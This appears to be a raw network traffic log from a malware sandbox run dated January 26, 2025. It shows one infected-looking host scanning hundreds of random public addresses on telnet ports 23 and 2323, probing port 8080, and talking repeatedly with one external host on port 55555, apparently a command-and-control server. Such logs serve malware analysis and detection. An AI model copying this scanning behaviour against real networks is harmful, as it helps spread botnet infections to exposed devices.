Jan 26, 2025 01:43:29.696609020 CET	45517	23	192.168.2.13	36.91.115.217
Jan 26, 2025 01:43:29.696610928 CET	45517	23	192.168.2.13	174.63.146.253
Jan 26, 2025 01:43:29.696613073 CET	45517	23	192.168.2.13	100.128.50.68
Jan 26, 2025 01:43:29.696613073 CET	45517	23	192.168.2.13	4.47.59.195
Jan 26, 2025 01:43:29.696616888 CET	45517	23	192.168.2.13	107.252.87.32
Jan 26, 2025 01:43:29.696631908 CET	45517	2323	192.168.2.13	150.43.3.101
Jan 26, 2025 01:43:29.696651936 CET	45517	23	192.168.2.13	24.48.223.150
Jan 26, 2025 01:43:29.696651936 CET	45517	23	192.168.2.13	45.143.207.228
Jan 26, 2025 01:43:29.696666002 CET	45517	23	192.168.2.13	174.229.177.232
Jan 26, 2025 01:43:29.696666002 CET	45517	23	192.168.2.13	158.146.139.2
Jan 26, 2025 01:43:29.696667910 CET	45517	23	192.168.2.13	131.142.102.118
Jan 26, 2025 01:43:29.696667910 CET	45517	23	192.168.2.13	103.233.166.217
Jan 26, 2025 01:43:29.696667910 CET	45517	23	192.168.2.13	79.2.152.232
Jan 26, 2025 01:43:29.696676016 CET	45517	23	192.168.2.13	167.227.76.31
Jan 26, 2025 01:43:29.696676016 CET	45517	23	192.168.2.13	196.91.144.32
Jan 26, 2025 01:43:29.696688890 CET	45517	2323	192.168.2.13	54.44.42.117
Jan 26, 2025 01:43:29.696705103 CET	45517	23	192.168.2.13	211.119.63.244
Jan 26, 2025 01:43:29.696705103 CET	45517	23	192.168.2.13	180.185.76.218
Jan 26, 2025 01:43:29.696713924 CET	45517	23	192.168.2.13	34.222.155.103
Jan 26, 2025 01:43:29.696727037 CET	45517	23	192.168.2.13	152.82.6.29
Jan 26, 2025 01:43:29.696728945 CET	45517	23	192.168.2.13	139.222.124.95
Jan 26, 2025 01:43:29.696743011 CET	45517	23	192.168.2.13	109.144.23.147
Jan 26, 2025 01:43:29.696743011 CET	45517	23	192.168.2.13	82.106.37.223
Jan 26, 2025 01:43:29.696743965 CET	45517	23	192.168.2.13	79.121.122.7
Jan 26, 2025 01:43:29.696746111 CET	45517	23	192.168.2.13	121.115.227.145
Jan 26, 2025 01:43:29.696751118 CET	45517	2323	192.168.2.13	120.48.33.192
Jan 26, 2025 01:43:29.696758032 CET	45517	23	192.168.2.13	163.39.123.21
Jan 26, 2025 01:43:29.696760893 CET	45517	23	192.168.2.13	39.200.248.15
Jan 26, 2025 01:43:29.696778059 CET	45517	23	192.168.2.13	158.15.166.229
Jan 26, 2025 01:43:29.696779013 CET	45517	23	192.168.2.13	201.197.170.37
Jan 26, 2025 01:43:29.696789980 CET	45517	23	192.168.2.13	31.196.46.208
Jan 26, 2025 01:43:29.696794033 CET	45517	23	192.168.2.13	190.141.61.124
Jan 26, 2025 01:43:29.696800947 CET	45517	23	192.168.2.13	203.123.232.183
Jan 26, 2025 01:43:29.696815968 CET	45517	23	192.168.2.13	24.249.201.27
Jan 26, 2025 01:43:29.696815968 CET	45517	23	192.168.2.13	53.149.231.57
Jan 26, 2025 01:43:29.696815968 CET	45517	2323	192.168.2.13	139.227.36.64
Jan 26, 2025 01:43:29.696841002 CET	45517	23	192.168.2.13	103.227.56.77
Jan 26, 2025 01:43:29.696841955 CET	45517	23	192.168.2.13	208.60.120.140
Jan 26, 2025 01:43:29.696841955 CET	45517	23	192.168.2.13	19.177.145.214
Jan 26, 2025 01:43:29.696877956 CET	45517	23	192.168.2.13	31.208.133.2
Jan 26, 2025 01:43:29.696881056 CET	45517	23	192.168.2.13	40.1.106.234
Jan 26, 2025 01:43:29.696897030 CET	45517	23	192.168.2.13	145.217.75.47
Jan 26, 2025 01:43:29.696899891 CET	45517	23	192.168.2.13	76.107.115.101
Jan 26, 2025 01:43:29.696901083 CET	45517	23	192.168.2.13	120.223.85.0
Jan 26, 2025 01:43:29.696901083 CET	45517	23	192.168.2.13	139.2.51.115
Jan 26, 2025 01:43:29.696907997 CET	45517	2323	192.168.2.13	57.70.197.180
Jan 26, 2025 01:43:29.696913958 CET	45517	23	192.168.2.13	177.240.202.243
Jan 26, 2025 01:43:29.696914911 CET	45517	23	192.168.2.13	194.228.66.208
Jan 26, 2025 01:43:29.696914911 CET	45517	23	192.168.2.13	122.221.246.29
Jan 26, 2025 01:43:29.696916103 CET	45517	23	192.168.2.13	110.45.240.88
Jan 26, 2025 01:43:29.696916103 CET	45517	23	192.168.2.13	176.34.42.224
Jan 26, 2025 01:43:29.696928978 CET	45517	23	192.168.2.13	122.111.82.47
Jan 26, 2025 01:43:29.696930885 CET	45517	23	192.168.2.13	91.203.140.244
Jan 26, 2025 01:43:29.696942091 CET	45517	23	192.168.2.13	20.200.132.184
Jan 26, 2025 01:43:29.696947098 CET	45517	23	192.168.2.13	62.119.160.58
Jan 26, 2025 01:43:29.696959972 CET	45517	23	192.168.2.13	125.254.52.22
Jan 26, 2025 01:43:29.696963072 CET	45517	2323	192.168.2.13	191.160.194.142
Jan 26, 2025 01:43:29.696966887 CET	45517	23	192.168.2.13	173.25.0.255
Jan 26, 2025 01:43:29.696969986 CET	45517	23	192.168.2.13	35.177.199.194
Jan 26, 2025 01:43:29.696973085 CET	45517	23	192.168.2.13	173.149.127.189
Jan 26, 2025 01:43:29.696986914 CET	45517	23	192.168.2.13	128.51.246.186
Jan 26, 2025 01:43:29.696995974 CET	45517	23	192.168.2.13	100.188.10.208
Jan 26, 2025 01:43:29.697000980 CET	45517	23	192.168.2.13	194.132.178.160
Jan 26, 2025 01:43:29.697014093 CET	45517	23	192.168.2.13	61.210.18.120
Jan 26, 2025 01:43:29.697014093 CET	45517	2323	192.168.2.13	116.150.102.116
Jan 26, 2025 01:43:29.697016954 CET	45517	23	192.168.2.13	68.215.20.121
Jan 26, 2025 01:43:29.697020054 CET	45517	23	192.168.2.13	96.183.164.214
Jan 26, 2025 01:43:29.697030067 CET	45517	23	192.168.2.13	171.211.213.104
Jan 26, 2025 01:43:29.697031975 CET	45517	23	192.168.2.13	203.233.121.97
Jan 26, 2025 01:43:29.697043896 CET	45517	23	192.168.2.13	102.217.177.132
Jan 26, 2025 01:43:29.697045088 CET	45517	23	192.168.2.13	147.235.56.247
Jan 26, 2025 01:43:29.697047949 CET	45517	23	192.168.2.13	207.220.47.124
Jan 26, 2025 01:43:29.697061062 CET	45517	23	192.168.2.13	143.52.195.217
Jan 26, 2025 01:43:29.697067022 CET	45517	23	192.168.2.13	141.0.156.216
Jan 26, 2025 01:43:29.697067976 CET	45517	23	192.168.2.13	75.246.157.61
Jan 26, 2025 01:43:29.697082996 CET	45517	2323	192.168.2.13	14.114.161.33
Jan 26, 2025 01:43:29.697086096 CET	45517	23	192.168.2.13	159.136.252.150
Jan 26, 2025 01:43:29.697087049 CET	45517	23	192.168.2.13	124.75.83.186
Jan 26, 2025 01:43:29.697099924 CET	45517	23	192.168.2.13	104.94.229.133
Jan 26, 2025 01:43:29.697099924 CET	45517	23	192.168.2.13	39.164.226.253
Jan 26, 2025 01:43:29.697109938 CET	45517	23	192.168.2.13	38.163.247.107
Jan 26, 2025 01:43:29.697115898 CET	45517	23	192.168.2.13	163.180.117.223
Jan 26, 2025 01:43:29.697132111 CET	45517	23	192.168.2.13	201.199.6.134
Jan 26, 2025 01:43:29.697133064 CET	45517	23	192.168.2.13	168.145.197.33
Jan 26, 2025 01:43:29.697134018 CET	45517	23	192.168.2.13	94.231.85.52
Jan 26, 2025 01:43:29.697144032 CET	45517	23	192.168.2.13	152.79.118.206
Jan 26, 2025 01:43:29.697146893 CET	45517	2323	192.168.2.13	8.153.179.184
Jan 26, 2025 01:43:29.697160006 CET	45517	23	192.168.2.13	58.61.124.169
Jan 26, 2025 01:43:29.697160006 CET	45517	23	192.168.2.13	154.23.95.9
Jan 26, 2025 01:43:29.697160959 CET	45517	23	192.168.2.13	204.218.66.208
Jan 26, 2025 01:43:29.697175980 CET	45517	23	192.168.2.13	222.252.101.193
Jan 26, 2025 01:43:29.697180033 CET	45517	23	192.168.2.13	44.228.156.98
Jan 26, 2025 01:43:29.697192907 CET	45517	23	192.168.2.13	49.123.237.53
Jan 26, 2025 01:43:29.697194099 CET	45517	23	192.168.2.13	181.19.14.137
Jan 26, 2025 01:43:29.697202921 CET	45517	23	192.168.2.13	165.2.157.178
Jan 26, 2025 01:43:29.697211981 CET	45517	2323	192.168.2.13	94.165.111.106
Jan 26, 2025 01:43:29.697218895 CET	45517	23	192.168.2.13	197.34.2.193
Jan 26, 2025 01:43:29.697231054 CET	45517	23	192.168.2.13	9.198.19.105
Jan 26, 2025 01:43:29.697235107 CET	45517	23	192.168.2.13	156.147.126.214
Jan 26, 2025 01:43:29.697248936 CET	45517	23	192.168.2.13	78.222.34.131
Jan 26, 2025 01:43:29.697251081 CET	45517	23	192.168.2.13	169.67.30.209
Jan 26, 2025 01:43:29.697254896 CET	45517	23	192.168.2.13	97.228.76.50
Jan 26, 2025 01:43:29.697268009 CET	45517	23	192.168.2.13	183.231.145.162
Jan 26, 2025 01:43:29.697276115 CET	45517	23	192.168.2.13	66.208.253.63
Jan 26, 2025 01:43:29.697288036 CET	45517	23	192.168.2.13	135.239.198.129
Jan 26, 2025 01:43:29.697292089 CET	45517	2323	192.168.2.13	182.45.142.190
Jan 26, 2025 01:43:29.697292089 CET	45517	23	192.168.2.13	168.246.160.156
Jan 26, 2025 01:43:29.697294950 CET	45517	23	192.168.2.13	102.236.46.118
Jan 26, 2025 01:43:29.697304010 CET	45517	23	192.168.2.13	115.227.100.215
Jan 26, 2025 01:43:29.697310925 CET	45517	23	192.168.2.13	158.130.27.64
Jan 26, 2025 01:43:29.697361946 CET	45517	23	192.168.2.13	205.25.51.58
Jan 26, 2025 01:43:29.697365999 CET	45517	23	192.168.2.13	106.159.214.95
Jan 26, 2025 01:43:29.697374105 CET	45517	23	192.168.2.13	111.123.102.181
Jan 26, 2025 01:43:29.697381020 CET	45517	23	192.168.2.13	144.94.48.105
Jan 26, 2025 01:43:29.697387934 CET	45517	2323	192.168.2.13	148.62.67.55
Jan 26, 2025 01:43:29.697387934 CET	45517	23	192.168.2.13	135.121.146.177
Jan 26, 2025 01:43:29.697393894 CET	45517	23	192.168.2.13	78.28.187.178
Jan 26, 2025 01:43:29.697402000 CET	45517	23	192.168.2.13	76.230.54.46
Jan 26, 2025 01:43:29.697406054 CET	45517	23	192.168.2.13	61.151.228.132
Jan 26, 2025 01:43:29.697406054 CET	45517	23	192.168.2.13	124.68.45.9
Jan 26, 2025 01:43:29.697408915 CET	45517	23	192.168.2.13	176.92.48.75
Jan 26, 2025 01:43:29.697418928 CET	45517	23	192.168.2.13	145.219.48.217
Jan 26, 2025 01:43:29.697421074 CET	45517	23	192.168.2.13	144.88.178.214
Jan 26, 2025 01:43:29.697433949 CET	45517	23	192.168.2.13	192.90.27.195
Jan 26, 2025 01:43:29.697437048 CET	45517	2323	192.168.2.13	106.167.136.15
Jan 26, 2025 01:43:29.697438002 CET	45517	23	192.168.2.13	81.121.155.205
Jan 26, 2025 01:43:29.697443008 CET	45517	23	192.168.2.13	171.33.144.222
Jan 26, 2025 01:43:29.697454929 CET	45517	23	192.168.2.13	107.87.48.23
Jan 26, 2025 01:43:29.697455883 CET	45517	23	192.168.2.13	180.162.204.49
Jan 26, 2025 01:43:29.697455883 CET	45517	23	192.168.2.13	165.214.152.93
Jan 26, 2025 01:43:29.697469950 CET	45517	23	192.168.2.13	177.39.176.212
Jan 26, 2025 01:43:29.697532892 CET	45517	23	192.168.2.13	193.35.103.54
Jan 26, 2025 01:43:29.697531939 CET	45517	23	192.168.2.13	188.240.36.181
Jan 26, 2025 01:43:29.697532892 CET	45517	23	192.168.2.13	92.229.225.162
Jan 26, 2025 01:43:29.697540045 CET	45517	2323	192.168.2.13	44.190.230.57
Jan 26, 2025 01:43:29.697544098 CET	45517	23	192.168.2.13	128.26.7.249
Jan 26, 2025 01:43:29.697545052 CET	45517	23	192.168.2.13	168.110.206.143
Jan 26, 2025 01:43:29.697545052 CET	45517	23	192.168.2.13	61.28.28.98
Jan 26, 2025 01:43:29.697551012 CET	45517	23	192.168.2.13	187.20.33.143
Jan 26, 2025 01:43:29.697563887 CET	45517	23	192.168.2.13	83.126.212.54
Jan 26, 2025 01:43:29.697565079 CET	45517	23	192.168.2.13	45.178.74.221
Jan 26, 2025 01:43:29.697602034 CET	45517	23	192.168.2.13	61.64.185.40
Jan 26, 2025 01:43:29.697602034 CET	45517	23	192.168.2.13	179.156.200.51
Jan 26, 2025 01:43:29.697618008 CET	45517	2323	192.168.2.13	132.84.57.101
Jan 26, 2025 01:43:29.697618961 CET	45517	23	192.168.2.13	189.97.4.87
Jan 26, 2025 01:43:29.697618961 CET	45517	23	192.168.2.13	74.59.36.35
Jan 26, 2025 01:43:29.697618961 CET	45517	23	192.168.2.13	38.41.223.131
Jan 26, 2025 01:43:29.697649956 CET	45517	23	192.168.2.13	27.181.239.70
Jan 26, 2025 01:43:29.697653055 CET	45517	23	192.168.2.13	210.64.131.199
Jan 26, 2025 01:43:29.697654963 CET	45517	23	192.168.2.13	82.74.248.88
Jan 26, 2025 01:43:29.697676897 CET	45517	23	192.168.2.13	100.144.144.160
Jan 26, 2025 01:43:29.697690010 CET	45517	23	192.168.2.13	140.0.250.191
Jan 26, 2025 01:43:29.697690010 CET	45517	23	192.168.2.13	45.202.148.101
Jan 26, 2025 01:43:29.697700024 CET	41664	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:29.697705984 CET	45517	23	192.168.2.13	54.97.237.229
Jan 26, 2025 01:43:29.697705984 CET	45517	2323	192.168.2.13	148.111.123.6
Jan 26, 2025 01:43:29.697706938 CET	45517	23	192.168.2.13	223.249.196.213
Jan 26, 2025 01:43:29.697709084 CET	45517	23	192.168.2.13	35.169.28.124
Jan 26, 2025 01:43:29.697710037 CET	45517	23	192.168.2.13	134.126.124.215
Jan 26, 2025 01:43:29.697714090 CET	45517	23	192.168.2.13	210.235.155.176
Jan 26, 2025 01:43:29.697722912 CET	45517	23	192.168.2.13	178.216.124.230
Jan 26, 2025 01:43:29.697727919 CET	45517	23	192.168.2.13	143.202.222.35
Jan 26, 2025 01:43:29.697732925 CET	45517	23	192.168.2.13	173.75.105.2
Jan 26, 2025 01:43:29.697734118 CET	45517	23	192.168.2.13	122.185.179.205
Jan 26, 2025 01:43:29.697750092 CET	45517	23	192.168.2.13	177.253.121.109
Jan 26, 2025 01:43:29.697751045 CET	45517	23	192.168.2.13	84.222.82.89
Jan 26, 2025 01:43:29.697760105 CET	45517	2323	192.168.2.13	135.191.192.125
Jan 26, 2025 01:43:29.697783947 CET	45517	23	192.168.2.13	133.56.141.213
Jan 26, 2025 01:43:29.697787046 CET	45517	23	192.168.2.13	162.80.191.205
Jan 26, 2025 01:43:29.697799921 CET	45517	23	192.168.2.13	143.60.141.201
Jan 26, 2025 01:43:29.697802067 CET	45517	23	192.168.2.13	138.16.154.27
Jan 26, 2025 01:43:29.697803974 CET	45517	23	192.168.2.13	140.252.22.198
Jan 26, 2025 01:43:29.697818995 CET	45517	23	192.168.2.13	111.142.23.139
Jan 26, 2025 01:43:29.697822094 CET	45517	23	192.168.2.13	154.113.98.47
Jan 26, 2025 01:43:29.697822094 CET	45517	23	192.168.2.13	62.146.45.78
Jan 26, 2025 01:43:29.697823048 CET	45517	23	192.168.2.13	115.37.206.186
Jan 26, 2025 01:43:29.697830915 CET	45517	2323	192.168.2.13	102.185.64.211
Jan 26, 2025 01:43:29.697830915 CET	45517	23	192.168.2.13	79.184.189.132
Jan 26, 2025 01:43:29.697833061 CET	45517	23	192.168.2.13	136.22.88.101
Jan 26, 2025 01:43:29.697848082 CET	45517	23	192.168.2.13	199.239.145.99
Jan 26, 2025 01:43:29.697849989 CET	45517	23	192.168.2.13	85.105.86.93
Jan 26, 2025 01:43:29.697860956 CET	45517	23	192.168.2.13	203.201.106.129
Jan 26, 2025 01:43:29.697865963 CET	45517	23	192.168.2.13	148.227.229.105
Jan 26, 2025 01:43:29.697879076 CET	45517	23	192.168.2.13	161.148.190.156
Jan 26, 2025 01:43:29.697892904 CET	45517	23	192.168.2.13	97.119.95.228
Jan 26, 2025 01:43:29.697892904 CET	45517	2323	192.168.2.13	223.108.119.21
Jan 26, 2025 01:43:29.697894096 CET	45517	23	192.168.2.13	51.69.7.174
Jan 26, 2025 01:43:29.697901964 CET	45517	23	192.168.2.13	57.219.58.56
Jan 26, 2025 01:43:29.697901964 CET	45517	23	192.168.2.13	52.45.229.34
Jan 26, 2025 01:43:29.697904110 CET	45517	23	192.168.2.13	51.235.15.225
Jan 26, 2025 01:43:29.697915077 CET	45517	23	192.168.2.13	180.230.133.63
Jan 26, 2025 01:43:29.697915077 CET	45517	23	192.168.2.13	44.154.254.223
Jan 26, 2025 01:43:29.698223114 CET	45517	23	192.168.2.13	132.231.46.221
Jan 26, 2025 01:43:29.698230028 CET	45517	23	192.168.2.13	14.12.187.101
Jan 26, 2025 01:43:29.698242903 CET	45517	23	192.168.2.13	136.70.216.243
Jan 26, 2025 01:43:29.698259115 CET	45517	2323	192.168.2.13	58.134.22.146
Jan 26, 2025 01:43:29.698262930 CET	45517	23	192.168.2.13	76.96.49.254
Jan 26, 2025 01:43:29.698262930 CET	45517	23	192.168.2.13	122.246.117.226
Jan 26, 2025 01:43:29.698270082 CET	45517	23	192.168.2.13	91.57.89.157
Jan 26, 2025 01:43:29.698278904 CET	45517	23	192.168.2.13	27.77.8.205
Jan 26, 2025 01:43:29.698282957 CET	45517	23	192.168.2.13	187.198.1.249
Jan 26, 2025 01:43:29.698292971 CET	45517	23	192.168.2.13	217.76.26.235
Jan 26, 2025 01:43:29.698297977 CET	45517	23	192.168.2.13	191.239.179.72
Jan 26, 2025 01:43:29.698298931 CET	45517	23	192.168.2.13	166.215.138.132
Jan 26, 2025 01:43:29.698309898 CET	45517	23	192.168.2.13	216.76.200.20
Jan 26, 2025 01:43:29.698319912 CET	45517	23	192.168.2.13	17.184.89.112
Jan 26, 2025 01:43:29.698324919 CET	45517	2323	192.168.2.13	146.176.150.253
Jan 26, 2025 01:43:29.698332071 CET	45517	23	192.168.2.13	204.121.196.130
Jan 26, 2025 01:43:29.698343039 CET	45517	23	192.168.2.13	145.169.183.224
Jan 26, 2025 01:43:29.698348999 CET	45517	23	192.168.2.13	38.186.125.120
Jan 26, 2025 01:43:29.698354006 CET	45517	23	192.168.2.13	93.154.131.225
Jan 26, 2025 01:43:29.698354959 CET	45517	23	192.168.2.13	71.11.150.24
Jan 26, 2025 01:43:29.698369980 CET	45517	23	192.168.2.13	174.219.239.47
Jan 26, 2025 01:43:29.698370934 CET	45517	23	192.168.2.13	223.187.50.115
Jan 26, 2025 01:43:29.698374987 CET	45517	23	192.168.2.13	213.61.72.179
Jan 26, 2025 01:43:29.698374987 CET	45517	23	192.168.2.13	73.249.223.60
Jan 26, 2025 01:43:29.698380947 CET	45517	2323	192.168.2.13	64.215.79.143
Jan 26, 2025 01:43:29.698393106 CET	45517	23	192.168.2.13	61.4.196.194
Jan 26, 2025 01:43:29.698393106 CET	45517	23	192.168.2.13	166.135.36.145
Jan 26, 2025 01:43:29.698393106 CET	45517	23	192.168.2.13	152.17.162.231
Jan 26, 2025 01:43:29.698400974 CET	45517	23	192.168.2.13	190.143.225.28
Jan 26, 2025 01:43:29.698409081 CET	45517	23	192.168.2.13	144.159.88.77
Jan 26, 2025 01:43:29.698417902 CET	45517	23	192.168.2.13	147.69.151.21
Jan 26, 2025 01:43:29.698432922 CET	45517	23	192.168.2.13	143.212.38.114
Jan 26, 2025 01:43:29.698443890 CET	45517	23	192.168.2.13	161.91.238.165
Jan 26, 2025 01:43:29.698470116 CET	45517	2323	192.168.2.13	58.68.76.58
Jan 26, 2025 01:43:29.698474884 CET	45517	23	192.168.2.13	118.23.6.221
Jan 26, 2025 01:43:29.698474884 CET	45517	23	192.168.2.13	2.78.80.217
Jan 26, 2025 01:43:29.698489904 CET	45517	23	192.168.2.13	44.254.147.102
Jan 26, 2025 01:43:29.698494911 CET	45517	23	192.168.2.13	39.132.109.183
Jan 26, 2025 01:43:29.698506117 CET	45517	23	192.168.2.13	135.234.41.185
Jan 26, 2025 01:43:29.698507071 CET	45517	23	192.168.2.13	49.48.27.121
Jan 26, 2025 01:43:29.698507071 CET	45517	23	192.168.2.13	80.103.51.32
Jan 26, 2025 01:43:29.698514938 CET	45517	23	192.168.2.13	114.9.127.42
Jan 26, 2025 01:43:29.698524952 CET	45517	23	192.168.2.13	121.253.165.144
Jan 26, 2025 01:43:29.698525906 CET	45517	23	192.168.2.13	173.247.142.136
Jan 26, 2025 01:43:29.698537111 CET	45517	2323	192.168.2.13	93.74.78.164
Jan 26, 2025 01:43:29.698543072 CET	45517	23	192.168.2.13	114.12.122.67
Jan 26, 2025 01:43:29.698549032 CET	45517	23	192.168.2.13	176.128.126.119
Jan 26, 2025 01:43:29.698553085 CET	45517	23	192.168.2.13	175.11.245.237
Jan 26, 2025 01:43:29.698560953 CET	45517	23	192.168.2.13	152.117.234.110
Jan 26, 2025 01:43:29.698568106 CET	45517	23	192.168.2.13	101.60.246.169
Jan 26, 2025 01:43:29.698570013 CET	45517	23	192.168.2.13	63.13.126.233
Jan 26, 2025 01:43:29.698573112 CET	45517	23	192.168.2.13	150.167.80.57
Jan 26, 2025 01:43:29.698586941 CET	45517	23	192.168.2.13	73.177.188.245
Jan 26, 2025 01:43:29.698589087 CET	45517	2323	192.168.2.13	145.131.28.218
Jan 26, 2025 01:43:29.698590994 CET	45517	23	192.168.2.13	141.177.188.197
Jan 26, 2025 01:43:29.698613882 CET	45517	23	192.168.2.13	102.225.34.236
Jan 26, 2025 01:43:29.699404955 CET	42310	8080	192.168.2.13	85.72.102.231
Jan 26, 2025 01:43:29.699826002 CET	45517	23	192.168.2.13	197.243.51.184
Jan 26, 2025 01:43:29.699836016 CET	45517	23	192.168.2.13	220.253.42.19
Jan 26, 2025 01:43:29.699853897 CET	45517	23	192.168.2.13	124.234.229.38
Jan 26, 2025 01:43:29.699856997 CET	45517	23	192.168.2.13	218.94.106.102
Jan 26, 2025 01:43:29.699858904 CET	45517	23	192.168.2.13	41.202.84.252
Jan 26, 2025 01:43:29.699867964 CET	45517	23	192.168.2.13	166.128.204.108
Jan 26, 2025 01:43:29.699872017 CET	45517	23	192.168.2.13	101.36.74.24
Jan 26, 2025 01:43:29.699879885 CET	45517	23	192.168.2.13	204.61.138.189
Jan 26, 2025 01:43:29.699887037 CET	45517	2323	192.168.2.13	76.114.135.236
Jan 26, 2025 01:43:29.699887991 CET	45517	23	192.168.2.13	150.136.1.74
Jan 26, 2025 01:43:29.699892044 CET	45517	23	192.168.2.13	24.234.239.73
Jan 26, 2025 01:43:29.699899912 CET	45517	23	192.168.2.13	144.238.173.3
Jan 26, 2025 01:43:29.699914932 CET	45517	23	192.168.2.13	18.145.47.69
Jan 26, 2025 01:43:29.699917078 CET	45517	23	192.168.2.13	221.180.147.104
Jan 26, 2025 01:43:29.699918032 CET	45517	23	192.168.2.13	69.239.136.190
Jan 26, 2025 01:43:29.699919939 CET	45517	23	192.168.2.13	43.243.79.245
Jan 26, 2025 01:43:29.699919939 CET	45517	23	192.168.2.13	18.247.108.34
Jan 26, 2025 01:43:29.699922085 CET	45517	23	192.168.2.13	102.126.124.120
Jan 26, 2025 01:43:29.699928045 CET	45517	2323	192.168.2.13	13.225.60.117
Jan 26, 2025 01:43:29.699937105 CET	45517	23	192.168.2.13	166.123.10.220
Jan 26, 2025 01:43:29.699945927 CET	45517	23	192.168.2.13	70.160.143.236
Jan 26, 2025 01:43:29.699948072 CET	45517	23	192.168.2.13	52.157.44.75
Jan 26, 2025 01:43:29.699956894 CET	45517	23	192.168.2.13	201.160.102.97
Jan 26, 2025 01:43:29.699960947 CET	45517	23	192.168.2.13	173.75.86.42
Jan 26, 2025 01:43:29.699969053 CET	45517	23	192.168.2.13	23.134.37.91
Jan 26, 2025 01:43:29.699970007 CET	45517	23	192.168.2.13	185.189.114.35
Jan 26, 2025 01:43:29.699981928 CET	45517	23	192.168.2.13	163.147.149.210
Jan 26, 2025 01:43:29.699990988 CET	45517	23	192.168.2.13	18.237.108.180
Jan 26, 2025 01:43:29.699990988 CET	45517	2323	192.168.2.13	133.216.142.77
Jan 26, 2025 01:43:29.700007915 CET	45517	23	192.168.2.13	57.200.221.149
Jan 26, 2025 01:43:29.700015068 CET	45517	23	192.168.2.13	186.238.121.55
Jan 26, 2025 01:43:29.700020075 CET	45517	23	192.168.2.13	111.183.75.95
Jan 26, 2025 01:43:29.700525999 CET	59696	8080	192.168.2.13	62.192.87.58
Jan 26, 2025 01:43:29.700634003 CET	2323	45517	217.145.248.189	192.168.2.13
Jan 26, 2025 01:43:29.700813055 CET	45517	2323	192.168.2.13	217.145.248.189
Jan 26, 2025 01:43:29.702506065 CET	55555	41664	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:29.702552080 CET	41664	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:29.703283072 CET	41212	8080	192.168.2.13	31.231.74.216
Jan 26, 2025 01:43:29.707374096 CET	55555	41664	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:29.708489895 CET	46768	8080	192.168.2.13	31.201.75.177
Jan 26, 2025 01:43:29.709427118 CET	54564	8080	192.168.2.13	62.195.73.246
Jan 26, 2025 01:43:29.711146116 CET	53988	8080	192.168.2.13	62.164.173.45
Jan 26, 2025 01:43:29.713342905 CET	8080	46768	31.201.75.177	192.168.2.13
Jan 26, 2025 01:43:29.713395119 CET	46768	8080	192.168.2.13	31.201.75.177
Jan 26, 2025 01:43:29.714432955 CET	40556	8080	192.168.2.13	94.181.120.160
Jan 26, 2025 01:43:29.717384100 CET	53864	8080	192.168.2.13	85.115.227.90
Jan 26, 2025 01:43:29.719254017 CET	8080	40556	94.181.120.160	192.168.2.13
Jan 26, 2025 01:43:29.719307899 CET	40556	8080	192.168.2.13	94.181.120.160
Jan 26, 2025 01:43:29.734903097 CET	59842	8080	192.168.2.13	31.153.199.12
Jan 26, 2025 01:43:29.740027905 CET	8080	59842	31.153.199.12	192.168.2.13
Jan 26, 2025 01:43:29.740092993 CET	59842	8080	192.168.2.13	31.153.199.12
Jan 26, 2025 01:43:29.749439955 CET	39102	8080	192.168.2.13	95.145.114.36
Jan 26, 2025 01:43:29.754517078 CET	8080	39102	95.145.114.36	192.168.2.13
Jan 26, 2025 01:43:29.754606009 CET	39102	8080	192.168.2.13	95.145.114.36
Jan 26, 2025 01:43:29.760405064 CET	57486	8080	192.168.2.13	85.95.49.32
Jan 26, 2025 01:43:29.765239954 CET	8080	57486	85.95.49.32	192.168.2.13
Jan 26, 2025 01:43:29.765347004 CET	57486	8080	192.168.2.13	85.95.49.32
Jan 26, 2025 01:43:29.773416996 CET	36326	8080	192.168.2.13	94.151.149.80
Jan 26, 2025 01:43:29.778386116 CET	8080	36326	94.151.149.80	192.168.2.13
Jan 26, 2025 01:43:29.778446913 CET	36326	8080	192.168.2.13	94.151.149.80
Jan 26, 2025 01:43:29.782949924 CET	40936	8080	192.168.2.13	85.96.127.48
Jan 26, 2025 01:43:29.785410881 CET	50712	8080	192.168.2.13	62.111.47.186
Jan 26, 2025 01:43:29.787424088 CET	55320	8080	192.168.2.13	31.102.59.167
Jan 26, 2025 01:43:29.787817955 CET	8080	40936	85.96.127.48	192.168.2.13
Jan 26, 2025 01:43:29.787900925 CET	40936	8080	192.168.2.13	85.96.127.48
Jan 26, 2025 01:43:29.789387941 CET	34146	8080	192.168.2.13	95.95.121.160
Jan 26, 2025 01:43:29.790921926 CET	8080	50712	62.111.47.186	192.168.2.13
Jan 26, 2025 01:43:29.790968895 CET	50712	8080	192.168.2.13	62.111.47.186
Jan 26, 2025 01:43:29.791052103 CET	33904	8080	192.168.2.13	62.35.234.227
Jan 26, 2025 01:43:29.792809010 CET	8080	55320	31.102.59.167	192.168.2.13
Jan 26, 2025 01:43:29.792851925 CET	55320	8080	192.168.2.13	31.102.59.167
Jan 26, 2025 01:43:29.793044090 CET	34928	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:29.795804977 CET	37326	8080	192.168.2.13	95.193.85.148
Jan 26, 2025 01:43:29.799520016 CET	8080	34928	95.124.15.222	192.168.2.13
Jan 26, 2025 01:43:29.799576998 CET	34928	8080	192.168.2.13	95.124.15.222
Jan 26, 2025 01:43:29.807179928 CET	60452	8080	192.168.2.13	62.20.208.232
Jan 26, 2025 01:43:29.810009956 CET	44698	8080	192.168.2.13	85.95.154.119
Jan 26, 2025 01:43:29.812011957 CET	8080	60452	62.20.208.232	192.168.2.13
Jan 26, 2025 01:43:29.812053919 CET	60452	8080	192.168.2.13	62.20.208.232
Jan 26, 2025 01:43:29.812589884 CET	52764	8080	192.168.2.13	95.152.151.175
Jan 26, 2025 01:43:29.817665100 CET	8080	52764	95.152.151.175	192.168.2.13
Jan 26, 2025 01:43:29.817712069 CET	52764	8080	192.168.2.13	95.152.151.175
Jan 26, 2025 01:43:29.818861961 CET	43560	8080	192.168.2.13	94.123.197.85
Jan 26, 2025 01:43:29.824635983 CET	45368	8080	192.168.2.13	62.166.149.238
Jan 26, 2025 01:43:29.826952934 CET	51392	8080	192.168.2.13	31.241.171.181
Jan 26, 2025 01:43:29.828396082 CET	36540	8080	192.168.2.13	62.194.2.0
Jan 26, 2025 01:43:29.829616070 CET	8080	45368	62.166.149.238	192.168.2.13
Jan 26, 2025 01:43:29.829655886 CET	45368	8080	192.168.2.13	62.166.149.238
Jan 26, 2025 01:43:29.829721928 CET	43150	8080	192.168.2.13	95.190.61.25
